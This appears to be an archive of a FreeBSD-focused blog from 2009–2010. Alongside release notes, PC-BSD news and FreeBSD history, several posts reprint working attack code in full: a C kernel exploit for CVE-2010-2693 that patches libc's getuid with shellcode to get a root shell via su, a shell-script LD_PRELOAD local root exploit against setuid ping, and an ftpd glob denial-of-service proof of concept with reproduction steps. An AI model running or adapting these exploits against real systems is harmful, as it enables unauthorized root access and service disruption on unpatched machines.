Aug 20 2010

Really nice work from Jon.

/*
* cve-2010-2693.c
*
* FreeBSD Kernel 7.x/8.x mbuf M_RDONLY Privilege Escalation
* Jon Oberheide
* http://jon.oberheide.org
*
* Information:
*
* http://security.freebsd.org/advisories/FreeBSD-SA-10:07.mbuf.asc
*
* The read-only flag is not correctly copied when a mbuf buffer reference
* is duplicated. When the sendfile(2) system call is used to transmit
* data over the loopback interface, this can result in the backing pages
* for the transmitted file being modified, causing data corruption.
*
* Usage:
*
* $ gcc cve-2010-2693.c -o cve-2010-2693 -lpthread
* $ ./cve-2010-2693
* …
* # id
* uid=0(root) …
*
* Notes:
*
* Exploiting the mbuf vulnerability, we corrupt the in-memory copy of libc
* stored in the filesystem buffer cache with some shellcode. In particular,
* we overwrite getuid with a sled + mov $0×0,%eax + ret. Then, we spawn the
* setuid ‘su’ to get an instant root shell.
*
* The libc copy in the fs buffer cache will stick around for a while so you
* might want to remount/reboot after you’re done with your root shell.
*
* Kingcope beat me to this one by a long shot but I might as well still
* release it since it takes a slightly different approach. :-)
*
* Tested on FreeBSD 8.0-RELEASE, but should work on any unpatched 7.x/8.x.
*/

#include
#include
#include
#include
#include #include
#include
#include

#include

#include

#define SHELLCODE “\xb8\x00\x00\x00\x00\xc3″
#define SHELLCODE_LEN 6

void *
run_listener(void *arg)
{
char buf[4096];
int ret, sock, conn;
struct sockaddr_in addr;

sock = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(2693);
addr.sin_addr.s_addr = inet_addr(“127.0.0.1″);

ret = bind(sock, (struct sockaddr *) &addr, sizeof(addr));
if (ret < 0) {
printf("[-] couldn't bind to listener socket\n");
exit(1);
}

ret = listen(sock, 1);
if (ret < 0) {
printf("[-] couldn't listen on socket\n");
exit(1);
}

conn = accept(sock, NULL, NULL);
if (conn < 0) {
printf("[-] couldn't accept incoming connection\n");
exit(1);
}

while(1) {
ret = read(conn, &buf, sizeof(buf));
if (ret < 0) {
break;
}
}

return NULL;
}

int
main(int argc, char *argv[])
{
FILE *fp;
char libc[64];
int ret, sock, fd, fsize, flags, chunk = 0;
int getuid, offset, writes;
off_t bytes, sent = 0;
struct sockaddr_in addr;
struct stat statbuf;
pthread_t listener;
fd_set wset;

char sc[256 + SHELLCODE_LEN];
memset(sc, 0x90, sizeof(sc));
memcpy(sc + (sizeof(sc) - SHELLCODE_LEN), SHELLCODE, SHELLCODE_LEN);

printf("[+] checking for setuid /usr/bin/su binary...\n");

ret = stat("/usr/bin/su", &statbuf);
if (ret < 0) {
printf("[-] couldn't find setuid /usr/bin/su binary!\n");
exit(1);
}

printf("[+] checking for suitable libc library in /lib...\n");

memset(libc, 0x0, sizeof(libc));
fp = popen("ls -1 /lib/libc.so.*", "r");
fscanf(fp, "%s", libc);
fclose(fp);

printf("[+] found libc at %s\n", libc);

fp = popen("nm -D /lib/libc.so.* | grep \"W getuid\"", "r");
fscanf(fp, "%x", &getuid);
fclose(fp);

printf("[+] found getuid function at 0x%08x\n", getuid);

offset = getuid - 2048;
writes = offset / 256;

printf("[+] target: 0x%08x, adjusted: 0x%08x, writes: %d\n", getuid, offset, writes);

printf("[+] spawning listener thread...\n");

if (pthread_create(&listener, NULL, run_listener, NULL) != 0){
printf("[-] couldn't create listener thread!\n");
exit(1);
}
sleep(3);

printf("[+] connecting to listener thread...\n");

sock = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(2693);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
if (ret < 0) {
printf("[-] couldn't connect to listening thread!\n");
exit(1);
}

printf("[+] initiating exploit via sendfile...\n");

fd = open(libc, O_RDONLY);
if (fd < 0) {
printf("[-] couldn't open target libc library!\n");
exit(1);
}

ret = fstat(fd, &statbuf);
if (ret < 0) {
printf("[-] couldn't stat target libc library!\n");
exit(1);
}

fsize = statbuf.st_size;
flags = fcntl(fd, F_GETFL);
flags |= O_NONBLOCK;
fcntl(fd, F_SETFL, flags);

while (fsize > 0) {
FD_ZERO(&wset);
FD_SET(sock, &wset);
ret = select(fd + 1, NULL, &wset, NULL, NULL);
if (ret < 0) {
continue;
}

if (chunk > 0) {
bytes = 0;
ret = sendfile(fd, sock, 256 * writes, chunk, NULL, &bytes, 0);
if (ret < 0) {
continue;
}
chunk -= bytes;
fsize -= bytes;
sent += bytes;
continue;
}

chunk = 2048;
write(sock, sc, sizeof(sc));
}

printf("[+] exploit complete!\n");
printf("[+] spawning root shell...\n");

system("su");

return 0;
}

Source


Jun 15 2010

Local Root FreeBSD 8.1 0day

A video of an alleged FreeBSD 8.1 local root exploit.

Source


Mar 24 2010

FreeBSD 7.3-RELEASE Release Notes

The highlights in the 7.3-RELEASE are the following:

* The ZFS file system has been updated to version 13. The changes include ZFS operations by a regular user, L2ARC, ZFS Intent Log on separated disks (slog), sparse volumes, and so on.
* A lock handling error has been fixed in interaction between malloc(3) implementation and threading library.
* A deadlock in the sched_ule(4) scheduler has been fixed.
* A new sysctl variable security.bsd.map_at_zero has been added and set to 1 (allow) by default. This controls whether FreeBSD allows to map an object at the address 0, which is part of the user-controlled portion of the virtual address space. Disabling this has some effect on preventing an attack which injects malicious code into that location and triggers a NULL pointer dereference in the kernel.
* A new boot loader gptzfsboot, which supports GPT and ZFS has been added. zfsloader, the final boot loader similar to loader(8) which supports ZFS has been added.
* [amd64, i386] CPU cache flushing has been optimized when changing caching attributes of pages by doing nothing for CPUs that support self-snooping and using CLFLUSH instead of a full cache invalidate when possible.
* The amdsbwd(4) driver for AMD SB600/SB7xx watchdog timer has been added.
* [amd64, i386] The hwpmc(4) driver for Hardware Performance Monitoring Counter support has been added.
* DRM now supports Radeon HD 4200 (RS880), 4770 (RV740), and R6/7xx 3D, and Intel G41 chips.
* The alc(4) driver for Atheros AR8131/AR8132 PCIe Ethernet controller has been added.
* [sparc64] The cas(4) driver has been added to provide support for Sun Cassini/Cassini+ and National Semiconductor DP83065 Saturn Gigabit Ethernet devices.
* A userland utility mfiutil(8) for the mfi(4) devices has been added.
* A userland utility mptutil(8) for the mpt(4) devices has been added.
* The yp(8) utilities now support shadow.byname and shadow.byuid maps. These requires privileged port access.
* The service(8) command as an easy interface for the rc.d scripts has been added.
* ISC BIND has been updated to version 9.4-ESV.
* sendmail has been updated from version 8.14.3 to version 8.14.4.
* The supported version of the GNOME desktop environment (x11/gnome2) has been updated to 2.28.2.
* The supported version of the KDE desktop environment (x11/kde4) has been updated to 4.3.5.
* FreeBSD release ISO images now have “FreeBSD-” at the beginning of the filenames.

Source


Mar 12 2010

FreeBSD and OpenBSD ‘ftpd’ NULL Pointer Dereference Denial Of Service Vulnerability

/*FreeBSD and OpenBSD ‘ftpd’ NULL Pointer Dereference Denial Of Service Vulnerability

The FreeBSD and OpenBSD ‘ftpd’ service is prone to a denial-of-service vulnerability because of a NULL-pointer dereference.

Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

This issue affects the following releases:

FreeBSD 8.0, 6.3, 4.9
OpenBSD 4.5 and 4.6

PoC:
*/

#include
#include

#define MAXUSRARGS 100
#define MAXGLOBARGS 1000

void do_glob() {
glob_t gl;
char **pop;

char buffer[256];
strcpy(buffer, “{A*/../A*/../A*/../A*/../A*/../A*/../A*}”);

int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf(“GLOB FAILED!\n”);
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 < (MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}

main(int argc, char **argv) {
do_glob();
do_glob();
}

Source


Mar 11 2010

Unix Logging

There are a wide variety of logging functions and services on UNIX. Some of these, such as the Solaris audit facility, are limited to a particular variety of UNIX. It is important that the digital forensics analyst become familiar with the logging deployed on the UNIX system that they are reviewing. In particular, have a look at the syslog configuration file, the “/var/log” and “/var/run” directories and check if there are any remote log servers. Syslog is a network service that is most commonly run locally. This allows for the capability of sharing logs to a remote system.

Source


Mar 8 2010

FreeBSD and OpenBSD ftpd bug (not exploitable?)

FreeBSD ftpd globbing bug – null pointer dereference ?

Affected FreeBSD Releases
+-+-+-+-+-+-+-+-+-+
FreeBSD 8.0, 6.3 and 4.9

Affected OpenBSD Releases
+-+-+-+-+-+-+-+-+-+
OpenBSD 4.6

Testing Environment
+-+-+-+-+-+-+-+-+-+
FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386

Full Description
+-+-+-+-+-+-+-+-+-+
FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in its
ftpd when handling globbing requests.

My investigation results in this being a null pointer dereference in
popen.c.
I am not sure if this could be a heap overrun, but I don’t think so.

from popen.c:

/* glob each piece */
gargv[0] = argv[0];
for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) {
glob_t gl;
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;

memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
[1] if (glob(argv[argc], flags, NULL, &gl))
gargv[gargc++] = strdup(argv[argc]);
[2] else
[3] for (pop = gl.gl_pathv; *pop && gargc < (MAXGLOBARGS-1);
pop++)
gargv[gargc++] = strdup(*pop);
globfree(&gl);
}

At [1] glob() is called. if theres a long directory (for example "A" x
200) and a request like described
in "how to repeat this problem" is sent to the ftpd it crashes. My
assumption is because it lands in the
else clause [2], glob doesn't fail but gives back a zeroed out gl
structure. In [3] then there's no check
if pop is null and therefore *pop gets dereferenced which is a null
pointer and the ftpd instance crashes.

Could someone please shed some light into why glob doesn't fail but
gives a zeroed out structure back?

How to repeat the problem
+-+-+-+-+-+-+-+-+-+-+-+-+-+

$ ftp 192.168.2.11
Connected to 192.168.2.11.
220 localhost.Belkin FTP server (Version 6.00LS) ready.
Name (192.168.2.11:nr): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mkdir
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
257
“WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW”
directory created.
ftp> ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/}
200 PORT command successful.
—snip—

on the other side:

—snip—
0x282261e5 in read () at read.S:3
3 RSYSCALL(read)
Current language: auto; currently asm
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0805622c in getline ()
(gdb) i r
eax 0×0 0
ecx 0×0 0
edx 0×0 0
ebx 0xbfbfd911 -1077946095
esp 0xbfbfba70 0xbfbfba70
ebp 0xbfbfcc08 0xbfbfcc08
esi 0×1 1
edi 0xbfbfcbf4 -1077949452
eip 0x805622c 0x805622c
eflags 0×10293 66195
cs 0×33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x1b 27
(gdb) x/10i $eip
0x805622c : mov (%edx),%eax
0x805622e
: setle %cl
0×8056231
: mov %ecx,%esi
0×8056233
: test %eax,%eax
0×8056235
: je 0×8056281
0×8056237
: test %cl,%cl
0×8056239
: je 0×8056281
0x805623b
: mov %edx,%ebx
0x805623d
: mov 0xffffee7c(%ebp),%edx
0×8056243
: lea 0xffffee90(%ebp,%edx,4),%edi
(gdb) i f
Stack level 0, frame at 0xbfbfcc10:
eip = 0x805622c in getline; saved eip 0x805047b
called by frame at 0xbfbfcc14
Arglist at 0xbfbfcc08, args:
Locals at 0xbfbfcc08, Previous frame’s sp is 0xbfbfcc10
Saved registers:
ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at
0xbfbfcc04,
eip at 0xbfbfcc0c
(gdb)

Testing program:

—snip—

#include
#include

#define MAXUSRARGS 100
#define MAXGLOBARGS 1000

void do_glob() {
glob_t gl;
char **pop;

char buffer[256];
strcpy(buffer, “{A*/../A*/../A*/../A*/../A*/../A*/../A*}”);

int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf(“GLOB FAILED!\n”);
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 < (MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}

main(int argc, char **argv) {
do_glob();
do_glob();
}
---snip---

05 March 2010
/kingcope

Source


Feb 23 2010

PC-BSD 8.0 Released

The PC-BSD Team is pleased to announce the availability of PC-BSD 8.0
(Hubble Edition), running FreeBSD 8.0-RELEASE-P2, and KDE 4.3.5

PC-BSD 8.0 contains a number of enhancements and improvements over the
7.x series. For a full list of changes, please refer to the changelog.
Some of the notable changes are:

* FreeBSD 8.0-RELEASE-P2
* KDE 4.3.5
* Brand new System Installer, allows the install of PC-BSD or FreeBSD
* Run in Live mode directly from DVD
* Updated Software Manager, allows browsing and installing
applications directly via the GUI
* Support for 3D acceleration with NVIDIA drivers on amd64

Version 8.0 of PC-BSD is available for download from our mirrors, and as
torrent from http://www.gotbsd.net.

Download PC-BSD 8.0:

http://www.pcbsd.org/content/view/152/11/

Changelog:

http://www.pcbsd.org/content/view/151/11/

Release Notes

http://www.pcbsd.org/content/view/150/11/

Source


Feb 22 2010

FreeBSD and the GPL

The first free Unix-like operating system available on the IBM PC was 386BSD, of which Linus Torvalds said in 1993: “If 386BSD had been available when I started on Linux, Linux would probably never have happened.”

386BSD was a direct descendant of Bill Joy’s Berkeley Software Distribution, which was the core of SunOS and other proprietary Unix distributions. 386BSD and the patchkit for the port to the Intel chip formed the basis for FreeBSD, NetBSD and OpenBSD, which have carried the torch for BSD and open source Unix to this day.

Lars Wirzenius, a student friend of Linus Torvalds, recalled: “FreeBSD didn’t exist then. 386BSD did, but it wouldn’t have worked on my computer, since it required a 387 co-processor. I used SCO Xenix from fall 1991 to spring or summer of 1992, until Linux matured enough to be a usable environment for writing code.”

Alan Cox tells a similar story. When he saw the 386BSD announce he thought “Woah! – finally there is something worth running on a PC.”

The trouble was that 386BSD needed floating point hardware, and Linux didn’t. “I hadn’t got the floating point chip, which was 70 quid at the time, so I installed Linux,” he said.

386BSD was a long time coming. The first public release (Version 0.0) was on St. Patrick’s Day, 1991, and was barely functional. Most users had to wait until Bastille Day, 1992 for the first functional release (Version 0.1).

A year or two earlier, a couple of small fixes, and Linux may never have seen the light of day.

What ifs

The most popular of the BSDs is FreeBSD. FreeBSD, like the other BSDs, had a 15 year start on Linux, based as it was on BSD Unix, which had played a large part in defining the standards for operating systems and networking that have held good to the present day. For much of its early history, FreeBSD was technically superior to Linux and still retains an enviable reputation for reliability.

So it is interesting to speculate why Linux, and not FreeBSD, became the flag bearer, not only for free software, but for Unix-like operating systems.

BSD had been around for a long time, and Linux grew from small beginnings. Most of the early contributors to Linux and the projects that sprang from the early success of Linux, were hobbyists and students with no great history in computing, yet GNU/Linux, not FreeBSD, was adopted by the traditional Unix companies to become the universal operating system that Unix had promised to be.

Could have been a contender

FreeBSD didn’t stagnate, or lose, and is probably healthier that it ever was, big on networking devices, friendly with web hosting companies and big with Apple, but hasn’t had the impact of Linux on the rest of the computing industry, despite an enviable record for technical excellence.

Any number of reasons can be given for this. During the period 1992-1994, when GNU/Linux was beginning to emerge as a viable option for Intel servers, the BSDs were the subject of a copyright dispute between USL and BSDi, which was indisputably a setback to uptake and development, but the BSDs bounced back from this setback and were the favoured solution for many web and ftp servers during the dotcom boom.

In 1999, “Walnut Creek CD-ROM set the world record for most bytes of network traffic processed in 24 hours by a single host: One single-processor PII box (a then-famous FreeBSD ftp server) handled 1.39 terabytes. (This burst of traffic was, ironically, occasioned by the release on that machine of Slackware 4.0.)”

Source


Feb 4 2010

Health Check: FreeBSD – “The unknown giant”

FreeBSD is the most accessible and popular of the BSDs, has code at the heart of Darwin and Apple’s OS X, and has powered some of the more successful sites on the Web, including Hotmail, Netcraft and Yahoo!, which before the rise of Google was the busiest site on the internet.

FreeBSD rose from the ashes of 386BSD, the original effort to port BSD to the Intel chip, and claims a code lineage that reaches back to Bill Joy’s Berkeley Software Distribution of the late seventies. The 386BSD port was begun in 1989 by Bill and Lynne Jolitz, and was destined to be the original free Unix-like operating system for the IBM PC. The first public release of 386BSD (Version 0.0) was on St. Patrick’s Day, 1991, accompanied by a series of articles in Dr Dobbs journal, which documented the process.

The first functional release of 386BSD was Version 0.1, which was released on Bastille Day, 1992.

FreeBSD emerged in 1993, after the self-imposed task of supporting 386BSD on their own had proved too much for Bill and Lynne Jolitz. The patchkit which had been the underpinning for the BSD port to the 386 was revived and became the basis for the first FreeBSD release.

Source


Nov 30 2009

FreeBSD Local Root Exploit — 7.1, 8.0

Systems tested/affected
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NOT VULN
FreeBSD 4.9-RELEASE *** NOT VULN

*EXPLOIT*

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c < < _EOF
#include

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0″);

execl(“/sbin/ping”, “ping”, 0);
}
_EOF
gcc env.c -o env
cat > program.c < < _EOF
#include
#include
#include
#include

void _init() {
extern char **environ;
environ=NULL;
system(“echo ALEX-ALEX;/bin/sh”);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Source